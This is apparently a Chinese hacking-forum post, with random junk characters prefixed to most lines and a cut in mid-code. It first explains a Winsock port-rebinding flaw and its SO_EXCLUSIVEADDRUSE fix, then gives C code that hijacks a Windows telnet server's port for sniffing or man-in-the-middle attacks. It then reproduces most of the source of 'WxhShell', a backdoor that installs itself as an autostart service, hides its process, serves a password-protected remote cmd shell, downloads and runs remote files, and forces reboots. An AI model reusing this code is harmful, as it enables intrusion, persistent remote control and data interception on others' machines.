在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
zxCx2.7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
y%;o ^.\O)K {h saddr.sin_family = AF_INET;
uf9&o# QDV+( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{?IbbT 9A} * bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
|rwY
rzn,NFI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
\yFUQq: wW1\{<hgr 这意味着什么?意味着可以进行如下的攻击:
4C%pKV >h#w~@e:: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Es)|#0m\x@ Y$\|rD^f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
matna X(MS!R V 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
'!8-/nlv1 ocJG4# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9jqsEd-SW @v2ko5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
A$5M.
Wu'qpJ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@`:X,]{ Q= xXj'W- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
%kV7 <:y , >S7c #include
cPNc$^Y #include
#0[^jJ3J #include
E'DHO2
Y #include
|?2fq&2 DWORD WINAPI ClientThread(LPVOID lpParam);
7<;oz30G!L int main()
yG/!K uA {
qrw WORD wVersionRequested;
-[
gT}{k! DWORD ret;
BDWbWA
6 WSADATA wsaData;
'u;O2$ BOOL val;
=!^
gQ0~4 SOCKADDR_IN saddr;
QO(F%&v++ SOCKADDR_IN scaddr;
adX"Yg!`{c int err;
!=,Y=5M, SOCKET s;
S* O .
? SOCKET sc;
9tPRQM7 int caddsize;
!Vw1w1 HANDLE mt;
z_fjmqa? DWORD tid;
-HQbvXAS wVersionRequested = MAKEWORD( 2, 2 );
jxkjPf? err = WSAStartup( wVersionRequested, &wsaData );
s{yw1: if ( err != 0 ) {
a~$Y;C_#< printf("error!WSAStartup failed!\n");
3S7"P$q return -1;
!LwHKCj }
~Q]5g7k=& saddr.sin_family = AF_INET;
,Q7;(&x~ )B0%"0?`8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
>!xyA; /0XMQy saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
mA+:)?e5~ saddr.sin_port = htons(23);
()l3X.t,$ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mL48L57Z {
Q}L?o printf("error!socket failed!\n");
^.!jD+=I return -1;
hyf
;f7`o }
71{jedT val = TRUE;
\>-
M&C //SO_REUSEADDR选项就是可以实现端口重绑定的
}QE*-GVv] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
oIj=ba(n1 {
3^+D,)#D^ printf("error!setsockopt failed!\n");
U*$xR<8v return -1;
IUFc_uL@\ }
@nY]S\if //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
src+z# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
5MAfuHq^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^F+7<$2 TjEXR$:< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
%ERcFI]G {
;: 2U}p^- ret=GetLastError();
kY~4AH printf("error!bind failed!\n");
5z!$=SFz return -1;
XH$r(@Z\7 }
BA]$Fi.Mw listen(s,2);
JUpV(p"-r while(1)
Oti*"dV\:: {
l\*9rs:! caddsize = sizeof(scaddr);
@5S' 5)4pB //接受连接请求
4}uOut sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
SscB&{f if(sc!=INVALID_SOCKET)
/D3{EjUE= {
VE|l;aXi mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'%QCNO/ if(mt==NULL)
fx{8ERo {
4?'vP ' printf("Thread Creat Failed!\n");
WYUDD_m break;
Z_\p8@3aH }
MVsFi]- }
QkdcW>:a7 CloseHandle(mt);
y(p_Unm }
r[a7">n closesocket(s);
"^n,(l*4x WSACleanup();
eMJ>gXA] return 0;
Zp9.
~&4o- }
EJ9hgE DWORD WINAPI ClientThread(LPVOID lpParam)
a4__1N^Qj {
j )6 SOCKET ss = (SOCKET)lpParam;
V}#X'~Ob SOCKET sc;
o[Jzx2A< unsigned char buf[4096];
Go)$LC0Mi SOCKADDR_IN saddr;
){5Nod{}a long num;
@owneSD qN DWORD val;
S'jg#*$ DWORD ret;
T$xBH //如果是隐藏端口应用的话,可以在此处加一些判断
;/j2(O^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
>CqzC8JF saddr.sin_family = AF_INET;
E[]5Od5# saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
No'?8 +i saddr.sin_port = htons(23);
[X.bR$> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
vA1YyaB {
E+]9!fDy< printf("error!socket failed!\n");
"d_wu#fO) return -1;
YNEwX$)M,B }
JNfL
jfE)< val = 100;
MY^{[#Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
F~mIV;BP {
,yYcjs!=o ret = GetLastError();
4N,mcV return -1;
EO&Q }
$oK&k}Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*|fF;-#v {
+(3_V$|Dv ret = GetLastError();
Pb#M7=J/ return -1;
g"! (@]L!@ }
"?I#!t%' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
}X&rJV {
<-umeY"n> printf("error!socket connect failed!\n");
Wh)D_ closesocket(sc);
d#g))f; closesocket(ss);
;.A}c)b return -1;
#X}HF $t{= }
sS>b}u+v#! while(1)
P=QxfX0B {
9r!8BjA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%=`JWLLG //如果是嗅探内容的话,可以再此处进行内容分析和记录
/,Xl8<~# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Hc)z:x;Sj num = recv(ss,buf,4096,0);
{{?g%mQ6 if(num>0)
Xu] ~vik send(sc,buf,num,0);
2?JV "O= else if(num==0)
,@`?I6nKy break;
Ttluh
* num = recv(sc,buf,4096,0);
8D='N`cN+ if(num>0)
6_Fr \H send(ss,buf,num,0);
E(jZ Do else if(num==0)
:
uncOd. break;
g^'h4qOa }
,&P
4%N" closesocket(ss);
<+roY" closesocket(sc);
->sxz/L return 0 ;
~dYCY_a }
$C4~v I\~[GsDY `^bP9X_a ==========================================================
C0wtMD:G 7*!7EBb 下边附上一个代码,,WXhSHELL
Aqyw 1)ue-(o5 ==========================================================
v ,8;:
sD <RGH+4LF #include "stdafx.h"
sT M;l, /eF@a! #include <stdio.h>
S
/hx\TzC #include <string.h>
;M:AcQZ|_ #include <windows.h>
No^gKh24 #include <winsock2.h>
`2mddx8 #include <winsvc.h>
Joow{75K #include <urlmon.h>
1/.BP A~?M`L>B #pragma comment (lib, "Ws2_32.lib")
,i2- #pragma comment (lib, "urlmon.lib")
ig,.>'+l o*cu-j3 #define MAX_USER 100 // 最大客户端连接数
cq1 5@a mX #define BUF_SOCK 200 // sock buffer
3U[O : #define KEY_BUFF 255 // 输入 buffer
U"PcNQy (2g
a:}K #define REBOOT 0 // 重启
;8s L #define SHUTDOWN 1 // 关机
8dGsV5" * BI1M(d#1L" #define DEF_PORT 5000 // 监听端口
,>;21\D
GWA"!~Hu #define REG_LEN 16 // 注册表键长度
IDohv[# #define SVC_LEN 80 // NT服务名长度
*WwM"NFHDd 3Z!%td5n // 从dll定义API
!GcBNQ1p+7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_olQ;{ U: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
.ZTvOm'mB^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
E9:@H;Gc typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#[+# bw_6 ]I?.1X5d0 // wxhshell配置信息
uO%0rKW struct WSCFG {
2|nm> 4 int ws_port; // 监听端口
@N=vmtLP char ws_passstr[REG_LEN]; // 口令
cU1o$NRx int ws_autoins; // 安装标记, 1=yes 0=no
LP2~UVq char ws_regname[REG_LEN]; // 注册表键名
[h/T IGE\ char ws_svcname[REG_LEN]; // 服务名
;Shu char ws_svcdisp[SVC_LEN]; // 服务显示名
l A ^1} char ws_svcdesc[SVC_LEN]; // 服务描述信息
b9bIvjm_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
M5dYcCDE int ws_downexe; // 下载执行标记, 1=yes 0=no
NkZG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
bZqTT~'T char ws_filenam[SVC_LEN]; // 下载后保存的文件名
J=g)rd[` O2w-nd74U };
zF1!a e;]tO-Nu // default Wxhshell configuration
=rjU=3!&( struct WSCFG wscfg={DEF_PORT,
"#Rh\DQ "xuhuanlingzhe",
O0 'iq^g 1,
Un?|RF "Wxhshell",
@@65t'3S "Wxhshell",
+7_qg
i7: "WxhShell Service",
broLC5hbQU "Wrsky Windows CmdShell Service",
rB>ge]$. "Please Input Your Password: ",
>!963>D R 1,
n;g'?z=hy "
http://www.wrsky.com/wxhshell.exe",
eg0_ < "Wxhshell.exe"
vObZ|>.J~O };
MmF&jd-= w#A)B<Y/" // 消息定义模块
[!'+} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6Yu:v char *msg_ws_prompt="\n\r? for help\n\r#>";
&f*orM: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
p~D}Iyww1_ char *msg_ws_ext="\n\rExit.";
djd/QAfSC char *msg_ws_end="\n\rQuit.";
iT]t`7R char *msg_ws_boot="\n\rReboot...";
Rh>B#
\ char *msg_ws_poff="\n\rShutdown...";
$7x2TiAL char *msg_ws_down="\n\rSave to ";
s8h*nZ)v <b 5DX char *msg_ws_err="\n\rErr!";
Aoe\\'O|V char *msg_ws_ok="\n\rOK!";
8Fn\ycX#"l M0V<Ay\%O char ExeFile[MAX_PATH];
Y|Iq~Qy~ int nUser = 0;
]aX@(3G1s HANDLE handles[MAX_USER];
$:9t(X)H int OsIsNt;
c*bvZC^6 je] DR~ SERVICE_STATUS serviceStatus;
'&IGdB I SERVICE_STATUS_HANDLE hServiceStatusHandle;
I"Oq< _ oPe|Gfv\G // 函数声明
x#1Fi$. int Install(void);
C6!F6Stn]g int Uninstall(void);
u`bD`kfT> int DownloadFile(char *sURL, SOCKET wsh);
'eM0i[E+` int Boot(int flag);
?qh-#,O9B void HideProc(void);
"{q#)N int GetOsVer(void);
#{i*9' int Wxhshell(SOCKET wsl);
waMF~#PJlt void TalkWithClient(void *cs);
}7 N6nZj` int CmdShell(SOCKET sock);
= Xgo}g1 int StartFromService(void);
"Q?+T:D8| int StartWxhshell(LPSTR lpCmdLine);
HDe\Oty_ CPz<iU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?ZF):}rvZ VOID WINAPI NTServiceHandler( DWORD fdwControl );
Ailq,c 6v`3/o // 数据结构和表定义
GZ%vFje_
K SERVICE_TABLE_ENTRY DispatchTable[] =
4cjfn'x {
=LW!$p {wscfg.ws_svcname, NTServiceMain},
Dqy`7?Kn {NULL, NULL}
U^m#!hp };
[WwoGg*)mn #2tmi1
ya // 自我安装
_w^,j" int Install(void)
%>Kba M1b {
VjQ&A#
char svExeFile[MAX_PATH];
H 0l1=y HKEY key;
HNzxFnh strcpy(svExeFile,ExeFile);
?f?5Kye C'6I< YX // 如果是win9x系统,修改注册表设为自启动
'$ei3 if(!OsIsNt) {
L2H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j.E=WLKV* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#GzALF97 RegCloseKey(key);
nrac)W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
WzIUHNn'I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8Qv s\TY RegCloseKey(key);
`v*HH}aDO return 0;
p2vN=[g9) }
J%"BCbxW~B }
0|&@)` }
@MSmg3& else {
C- .;m F#Lo^ 8 // 如果是NT以上系统,安装为系统服务
br I;}m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
80lei if (schSCManager!=0)
'*J+mZt N {
BJ|l SC_HANDLE schService = CreateService
fU>l:BzJK (
6bm 7^e( schSCManager,
nFnM9
pdMK wscfg.ws_svcname,
;;0'BdsL` wscfg.ws_svcdisp,
|UTajEL SERVICE_ALL_ACCESS,
o1AbB?%= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
l=DF)#>w SERVICE_AUTO_START,
*,\v|]fc SERVICE_ERROR_NORMAL,
v[dUUR f svExeFile,
10SI&O NULL,
3h7RQ:lUi NULL,
^Jp T8B} NULL,
^exU]5nvz NULL,
us.#|~i<h NULL
C4+DZ<pE );
z,,"yVk`, if (schService!=0)
>|taU8^|G} {
Q-7?'\h CloseServiceHandle(schService);
}c/p;< CloseServiceHandle(schSCManager);
wGyVmC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
__=53]jGE strcat(svExeFile,wscfg.ws_svcname);
3FBL CD3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!se1W5ke# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ucN'
zq RegCloseKey(key);
'=dQ$fs return 0;
Oeh A3$|# }
7FC!^)x1 }
,Lig6Z` CloseServiceHandle(schSCManager);
ddQ+EY@! }
wJC[[_"3 I }
D$l!lRu8+L jVff@)_S return 1;
Kg%9&l }
P:{Aqn~zR WvfP9(- // 自我卸载
J"aw 1 int Uninstall(void)
w;'XqpP$*| {
~?\U];l HKEY key;
9$)&b\D JL M Xkcc
if(!OsIsNt) {
$nt&'Xnv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{irc0gI RegDeleteValue(key,wscfg.ws_regname);
0'o[2, RegCloseKey(key);
<h -)zI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ZJDV'mC} RegDeleteValue(key,wscfg.ws_regname);
#/oH #/? RegCloseKey(key);
+ktv:d return 0;
#W~jQ5NS\ }
sOhn@*X }
Qs1CK;+zU }
p:08q
B|uQ else {
?%,LZw^[ T5:Q_o] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|Y3w6 !$ if (schSCManager!=0)
XvI~"} {
9pLe8D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
-06G.;W\^ if (schService!=0)
I=!kPuw {
@2E52$zu if(DeleteService(schService)!=0) {
"xlR>M6e CloseServiceHandle(schService);
vl:~&I&y;R CloseServiceHandle(schSCManager);
9]eG|LFD return 0;
7O55mc>cF }
9&sb,^4 CloseServiceHandle(schService);
<$s6?6P }
5]&sXs CloseServiceHandle(schSCManager);
}O\IF}X }
i:s= }
_r:Fmn_%- G_+/ e]P return 1;
B_[efM<R$ }
hO"!q;<eS pS$9mzY // 从指定url下载文件
,C,nNaW int DownloadFile(char *sURL, SOCKET wsh)
NK0'\~7& {
7r;16" HRESULT hr;
J4+K)gWB char seps[]= "/";
]'5Xjcx char *token;
KElEGW char *file;
L-9fo- char myURL[MAX_PATH];
CcQc!`YC char myFILE[MAX_PATH];
q/@2=$]hH3 <tvLKx strcpy(myURL,sURL);
r^m&<)Ca token=strtok(myURL,seps);
r D@*xMW while(token!=NULL)
a3 }V/MY {
gvI!Ice# file=token;
l`"?KD token=strtok(NULL,seps);
bTJ<8q }
p8'$@:M\ qur2t8gnxq GetCurrentDirectory(MAX_PATH,myFILE);
lie,A strcat(myFILE, "\\");
f#z:ILG= strcat(myFILE, file);
Ch]d\G M send(wsh,myFILE,strlen(myFILE),0);
+zh\W9 send(wsh,"...",3,0);
UVux[qX< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
{py%-W if(hr==S_OK)
T\9[PX< return 0;
tK;xW else
SZH`-xb!+5 return 1;
/B t!xSI
!q+ #JW }
D('.17 7"!`<5o^ // 系统电源模块
p3vf7 eqn int Boot(int flag)
W5Jw^,iPd {
#1-WiweO HANDLE hToken;
K 4GuOl TOKEN_PRIVILEGES tkp;
o8X_uKEI ht>%O7 if(OsIsNt) {
Q/g!h}>(. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
P")I)>Q6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
t*hy"e{*a tkp.PrivilegeCount = 1;
\
ku5%y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
QF/ULW0G! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<|l}@\iRX if(flag==REBOOT) {
'Q=;I if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
uE.BB# return 0;
_M%>Q m }
Z3&}C h else {
wp@_4Iq1$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(iq>]-=< return 0;
9s<4`oa }
{dZ]+2Z~+ }
~B|m"qY{i else {
1_t+lJI9j if(flag==REBOOT) {
t+a.,$U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
HQ@g6 return 0;
nYSe0w }
:.5l else {
>e {1e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=p_*lC%N return 0;
?#w} S% }
K T0t4XPM }
2VRGTx HThZ4Kg+ return 1;
qHZDo[ }
!64Tx g4A{RI // win9x进程隐藏模块
F
,472H void HideProc(void)
&:l-;7d {
l~"T>=jq3 bY#BK_8 : HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
by<@\n2B:U if ( hKernel != NULL )
y.lWyH9 {
41<~_+-@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_Gq6xv\b1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!hq2AY&H) FreeLibrary(hKernel);
5hmfdj6 }
yD~,+}0) k4iiL<| return;
[uU!\xe }
dJgLS^1E e4` L8 // 获取操作系统版本
3'.@aMA@ int GetOsVer(void)
bVUIeX' {
n/skDx TE OSVERSIONINFO winfo;
#B5,k|"/,M winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
o{y}c-> GetVersionEx(&winfo);
Wa|V~PL+T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
d9$RmCHe} return 1;
J[<Zy^"Y; else
jTR?!Mt0 return 0;
D#LV&4e>.E }
YJv$,Z&;HO mi] WZlg$ // 客户端句柄模块
Mq$K[]F int Wxhshell(SOCKET wsl)
ULAr! {
jn5xYKv SOCKET wsh;
0FOB5eBR struct sockaddr_in client;
Nhs!_-_I DWORD myID;
dLp1l2h!0 tfU*U>j while(nUser<MAX_USER)
r+ bGZ {
-~{Z*1`, int nSize=sizeof(client);
O#U maNj/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
."+lij=56 if(wsh==INVALID_SOCKET) return 1;
7,SQz6] gNEcE9y2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{K.H09Y if(handles[nUser]==0)
F(hPF6Zx( closesocket(wsh);
R `tJ7MB else
!uGfS' Vl nUser++;
Q7uJ9Y{X }
96^aI1: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
lndz 6&x\!+]F8 return 0;
G[mqLI{q }
Lyhuyb)k5^ ?CAU+/ // 关闭 socket
a|FkU%sjzZ void CloseIt(SOCKET wsh)
5e+j51 {
!ekByD closesocket(wsh);
#zl1#TC{( nUser--;
~^obf(N` ExitThread(0);
`2 <:$] }
itzUq,T FC1rwXL( // 客户端请求句柄
jUm-!SK}q void TalkWithClient(void *cs)
=R=V {
_BP%@o
^f,4=- SOCKET wsh=(SOCKET)cs;
i]c{(gd` char pwd[SVC_LEN];
? uYO]!VC char cmd[KEY_BUFF];
'u<e<hU char chr[1];
bX$z)]KKu int i,j;
WRD
z*Zf {c*$i^T while (nUser < MAX_USER) {
@l CG)Ix< LWM<[8wJ4 if(wscfg.ws_passstr) {
uU 7 <8G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,7s>#b' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n 0=]C%wr //ZeroMemory(pwd,KEY_BUFF);
&|XgWZS5 i=0;
ATkd# k%S while(i<SVC_LEN) {
nG'Yo8I^5 B!Wp=9)G // 设置超时
9Q1%+zjjMq fd_set FdRead;
sg,\!' struct timeval TimeOut;
` &A`&-nc= FD_ZERO(&FdRead);
,w~3K%B4 FD_SET(wsh,&FdRead);
1x_EAHZ>7 TimeOut.tv_sec=8;
Dd1k? TimeOut.tv_usec=0;
<~dfp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
kx(beaf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
vNw(hT5750 SPV+ O{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
MQP9^+f)O? pwd
=chr[0]; Doc zQc-U+
if(chr[0]==0xd || chr[0]==0xa) { 0G8@UJv6
pwd=0; Xgx/ubca0
break; 1e[?}q]*
} x~5,v5R^]
i++; qA '^b~
} k\O<pG[U
Kk},
PU=
// 如果是非法用户,关闭 socket ahXcQ9jzFi
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h^(U:M=A
} T)e2IXGN
fc~fjtqwvz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D]E=0+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6{5T^^x?<
'yCVB&`b
while(1) { a>vxox) %
2e\"?y OD
ZeroMemory(cmd,KEY_BUFF); Yuv=<V
_zDS-e@
// 自动支持客户端 telnet标准 Tp-W/YC
j=0; M<Bo<,!ua
while(j<KEY_BUFF) { n*9QSyJN]
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m u9,vH
cmd[j]=chr[0]; fL|9/sojz
if(chr[0]==0xa || chr[0]==0xd) { yr+QV:oVA
cmd[j]=0; zmQQ/7K
break; -Cvd3%Jje
} [,Ul
j++; K-]) RIM
} WblH}
fa]8v6
// 下载文件 Ia%cc
L=
if(strstr(cmd,"http://")) { 0 @#Jz#?
send(wsh,msg_ws_down,strlen(msg_ws_down),0); oPs asa
if(DownloadFile(cmd,wsh)) B4un6-<i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2`Bb9&ut>
else Q.$/I+&j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P>q~ocq<
} U>kaQ54/
else { (A2ga):Pk
jk`U7G*
switch(cmd[0]) { ?MywA'N@x
.~I:Hcf/
// 帮助 :Jyr^0`J
case '?': { Pm P&Qje7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9=}#.W3.
break; )Jvo%Y
} IgJG,!>h
// 安装 fUvXb>f,
case 'i': { kDJYEI9j>
if(Install()) JQ
?8yl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x(>XM:|
else jA^yUd-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N#-%b"(
break; -5e8m4*
} L2Cb/!z`c
// 卸载 !]R>D{""
case 'r': { B0RVtbK
if(Uninstall()) v "2A?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MX*4d{ l
else lre(]oBXA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \=RV?mI3?
break; IV&5a]j
} {6LS$3}VM
// 显示 wxhshell 所在路径 dgQ<>+9]6
case 'p': { @RB^m(> 5
char svExeFile[MAX_PATH]; !gyW15z'
strcpy(svExeFile,"\n\r"); '~yxu$aK
strcat(svExeFile,ExeFile); O\q6T7bfRW
send(wsh,svExeFile,strlen(svExeFile),0); !*DYdqQ/
break; M.SF}U
} 0XljFQ
// 重启 .`KzA]
case 'b': { \|vo@E
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p}~Sgi
if(Boot(REBOOT)) V,zFHXO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~9YEb
else { ?pQ0*
O0
closesocket(wsh); 'ym Mu}q
ExitThread(0); DQ$m@_/4w
} l^tRy_T:-
break; Z[!kEW
} BSkmFd(*
// 关机 n2o)K;wW+
case 'd': { NHU5JSlB
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L8E4|F}
if(Boot(SHUTDOWN)) >`WQxkpy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); - ]/=WAOK
else { Wt5pK[JV
closesocket(wsh); Z1$S(p=)L
ExitThread(0); &n?RKcH}d
} Cw!tB1D
break; "KCG']DF
} J10 /pS
// 获取shell C5KUIOg
case 's': { k g(}%Ih
CmdShell(wsh); asQ^33g z
closesocket(wsh); modem6#x'
ExitThread(0); ',Z]w;D!G
break; Z @DDuVr
} 5l,Lp'k
// 退出 `)8SIx
case 'x': { |BtFT
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jc32s}/H
CloseIt(wsh); +u |SX/C
break; lP4s"8E`h
} Rm_+kp@\
// 离开 &D|+tu{
case 'q': { Qo]qs+
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Dm?:j9o]g
closesocket(wsh); d=\TC'd"{
WSACleanup(); :rk6Stn$z
exit(1); Ii3F|Vb G
break; 1#|lt\T
} O|Y`:xvc
} J}-e9vK-#
} 4F -<j!
$Ups9p Q
// 提示信息 i6FJG\d
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CG35\b;Q
} =Y^K
} U0W2
S6JWsi4C:,
return; ]:n9MFv
} );S8`V
lkp$rJ#6
// shell模块句柄 Rw63{b/
int CmdShell(SOCKET sock) zDm3$P=
{ E&"V~
STARTUPINFO si; >CcDG
ZeroMemory(&si,sizeof(si)); c[3x>f0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; klc$n07
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L[5U(`q[
PROCESS_INFORMATION ProcessInfo; 'aeuL1mz
char cmdline[]="cmd"; O#{`Fj`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y~r)WV!G
return 0; wrJ"(:VZ
} ?{L'd
V<}chLd,
// 自身启动模式 WS@"8+re;
int StartFromService(void) osO\ib_%
{ iTT7<x
typedef struct ym` 4v5w
{ *6}'bdQbNP
DWORD ExitStatus; fG8^ |:
DWORD PebBaseAddress; S s+
DWORD AffinityMask; t,A=B(W
